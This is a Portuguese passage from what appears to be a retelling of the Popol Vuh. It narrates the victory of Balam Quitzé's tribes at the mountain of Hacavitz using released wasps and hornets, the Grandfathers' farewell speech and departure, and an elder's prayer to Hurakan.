rés dos homens e dos animais. Os coiotes e os chacais saltavam sobre as valas e sobre as covas dos mortos. Com seus próprios dentes feriam a carne dos lábios, que sangravam.
Quanto aos defensores da montanha, embora angustiados pelo perigo e pela ameaça que avançava diante de seus olhos, confiavam na providência dos deuses que lhes eram propícios. Estavam certos de que na hora conveniente não seriam abandonados, e de que, por isso mesmo, não podiam perecer. O destino tinha que reservar-lhes glórias cie eternidade. Uns a outros tranqüilizavam com gestos e palavras. Os mais destros, escondendo-se em lugares de difícil acesso para os contrários, estavam dispostos a dar o sinal de alarma, se o perigo fosse iminente. Com dissimulada cautela, os guerreiros espiavam os movimentos dos homens que já estavam próximo do cume, dando bufidos e ostentando formas
de fúria nunca vista antes nem nos dias da mais porfiada guerra. Assim, chegou um momento de angustiosa indecisão para ambos os lados. A gritaria dos que subiam da planície chocou-se com a gritaria dos que defendiam a crista da montanha. E os rostos de uns e de outros podiam ver-se entre a maleza. As mãos de ambos os grupos, como espigas, mostravam-se no alto, armadas com lanças e clavas. O ruído dos escudos fêz-se perceptível e a coragem dos peitos podia adivinhar-se pela respiração fatigada e funda dos que se detinham atrás das rochas e dos que subiam pelas trincheiras.
Um instante mais, e os inimigos de cima cairiam sobre os inimigos de baixo, ou estes, derribando as muralhas, abordariam a cúspide cobiçada. Algumas pedras lançadas já haviam batido contra os escudos de uns e outros, produzindo ruído seco e surdo. O encontro tão temido ali estava. No alto começaram a cruzar, silvando, algumas flechas. As fundas e as zarabatanas disparavam pedaços pontiagudos de lajes. De pronto ouviu-se, como trovão que rebenta e recua, o alarido de dor de algum ferido. Nesse mesmo instante, quando iam esbarrar e atracar-se com ira os corpos contrários, os Avós abriram, conforme o previsto e ordenado por Tojil, as tampas das canastras onde estavam fechados os tavões e as vespas. Num instante os insetos surgiram com ímpeto e espalharam-se no ar, impregnando-o de rumores e de peste. Precipitaram-se como setas sobre o inimigo que subia, confiado e iracundo, picando-lhe as mãos, os braços, as pernas, as coxas e a cara. Sob aquela chuva de espinhos, espantados primeiro, aturdidos depois, acovardados em seguida, os que subiam não souberam que fazer. Para defender-se de tão inusitada e estranha agressão, atiraram ao solo suas armas. Arcos, flechas e rodelas caíram no chão. Cada vez mais perseguidos, porém, lançaram-se por despenhadeiros, atalhos e caminhos abruptos, com disposição de livrar-se de semelhante ataque. Atrás dos homens fugitivos voavam os insetos, que se atiravam com obstinação sobre suas carnes. No momento em que a debandada se generalizou e a desordem tornou-se mais confusa, as gentes de Balam Quitzé desceram e cevaram-se nos fugitivos já inermes. Com seus macanás e suas lanças e suas fundas, derribaram e mataram os que se punham ao seu alcance. Os ais e as queixas e as blasfêmias e as imprecações dos vencidos eram de espanto e tristeza. O pó obscureceu o ar, enquanto o sangue dos feridos tingia as pedras daqueles lugares, testemunhas de tamanha desolação.
Até lá embaixo chegou a imagem de semelhante derrota. A alegria dos vencedores acendeu luzes no vento que soprava firme, como se alguém, de um lugar invisível, o animasse e espalhasse. Os corpos dos vencidos rolaram pelos precipícios, despedaçando-se nas lajes. Nas rochas ficavam estrias de suas carnes. A montanha de Hacavitz foi, assim, lugar de triunfo para os deuses e para os Avós.
Dessa maneira ganharam para sempre aquela situação das tribos unidas a Tojil e a Balam Quitzé. Já na planície a pouca gente que restava fugia, vencida, ou prostrava-se aos pés dos vencedores.
Os moradores que tinham ficado na montanha de Hacavitz, ouviram também dizer que a derrota dos inimigos estava consumada, e que o poder dos deuses era invencível. Em sinal de acatamento levantaram as mãos e as agitaram no alto, com ramos de flores e de ervas.
Assim terminou a luta entre as tribos que chegaram, procedentes de Tulan, e as que, por seus egoísmos, não souberam defender nem reter a terra de seus antepassados.
Depois que cimentado ficou o domínio das tribos aliadas, os Avós pressentiram que se acercava a hora de sua morte. Com este pensamento chamaram suas mulheres e seus filhos e os filhos de seus filhos. Quando os viram juntos, e ao lado deles, com o rosto tristinho, queimaram resinas perfumadas. Esperaram que a fumaça subisse até o alto e desaparecesse, levada pelo vento. Então, Balam Quitzé falou desta maneira:
— Sabei e não olvideis, que nós, os Procriadores, devemos ir. Sabei, também, que voltaremos na hora que está assinalada. Recordai, agora, que juntos saímos do seio dos montes longínquos que se levantam para além do ponto onde se põe o sol. Entendei, por último, que chegou o instante em que devemos voltar ao lugar de onde partimos. Conforme com o ditado de nossa consciência, voltaremos ao lugar de nossa origem. Antes de partir, entretanto, temos que tomar providências de acordo com a nossa vida. Por isso entendei, sem discórdia, que já repartimos os rebanhos que foram de nossa propriedade. A quem é devido já revelamos nossos segredos. Da arte da escritura sabem os que devem saber, e ninguém mais. Juntai o grão e as sementes e reuni os rebentos, que tempos de seca e de fome se avizinham. Aguçai as armas, que inimigos ocultos atrás da montanha e dos cerros não tardarão a espiar com avareza, a fartura e a riqueza destas terras. Depois de nossa partida, lembrai-vos de nós. Não nos deixeis no esquecimento. Evocai nossos rostos e nossas palavras. Nossa imagem será orvalho para o coração que deseje evocá-la. Dizemos mais: cuidai de vossas casas e de vossos solares. Transitai pelos caminhos que abrimos, porque isso e não outra coisa, é o que mandamos. Permanecei aqui, sem que vos olvideis da origem de vossos antepassados. Isto é o justo. Não espereis que os estranhos vos recordem o que é devido, pois para tal empenho tendes consciência e espírito. Tudo quanto fizerdes de bom há de sair de vossa iniciativa.
Assim disseram os Avós no momento em que se despediam dos seus. Houve um compasso de silêncio. A seguir, os Avós, com a cabeça alta e arrastando pelo solo os mantos que pendiam de seus ombros, caminharam por cima da montanha. Pouco depois começaram a descer pelo declive do Poente. Então, uma nuvem de chuva ocultou-os.
Entre as gentes da montanha de Hacavitz permaneceram vivos os conselhos recebidos. Em sinal de respeito e acatamento pelo seu significado, queimaram ervas odoríferas diante do céu. Enquanto as brasas ardiam, o mais velho disse estas palavras que ficaram registradas no espírito de todos:
— Hurakan, coração da noite, doador da virtude, criador de nossos filhos, volta-te para nós. Não nos prives de tua presença. Dá vida e força a nossos descendentes para que cresçam e se façam firmes no bem e saibam propagar nossa fé e dizer teu nome, o qual será invocado nos caminhos, nos barrancos, nos rios, sob as árvores e para além de quanto é visível. Dá a nossos filhos e aos filhos de nossos filhos, filhos e filhas.
Impede que sobre eles caia a enfermidade, ou o dano, ou maldição de qualquer espécie. Não permitas que tropecem ou se machuquem. Faze com que estejam sempre
unidos e limpos. Faze com que não sejam surpreendidos em emboscadas, nem pereçam de sede e cansaço. Não consintas que sejam luxuriosos nem astutos. Envia-lhes forças para que sigam seguros por caminhos abertos, sem sofrer infortúnio nem padecer sortilégio. Protege-os em seu bem-estar e em seu sentimento. Não deixes, porém, que se envaideçam com as riquezas nem se façam débeis com a bondade. Faze com que sejam sempre firmes de coração.
Dito isto, viram que a grandeza de todos era igual, que nenhum procedia de melhor tronco do que seu vizinho, e que ninguém aspirava categoria mais alta do que a de seu próximo.
Concordaram que o Conselho das Tribos reunisse os melhores de cada casa. E assim foi sempre, até que veio a dispersão e a morte.
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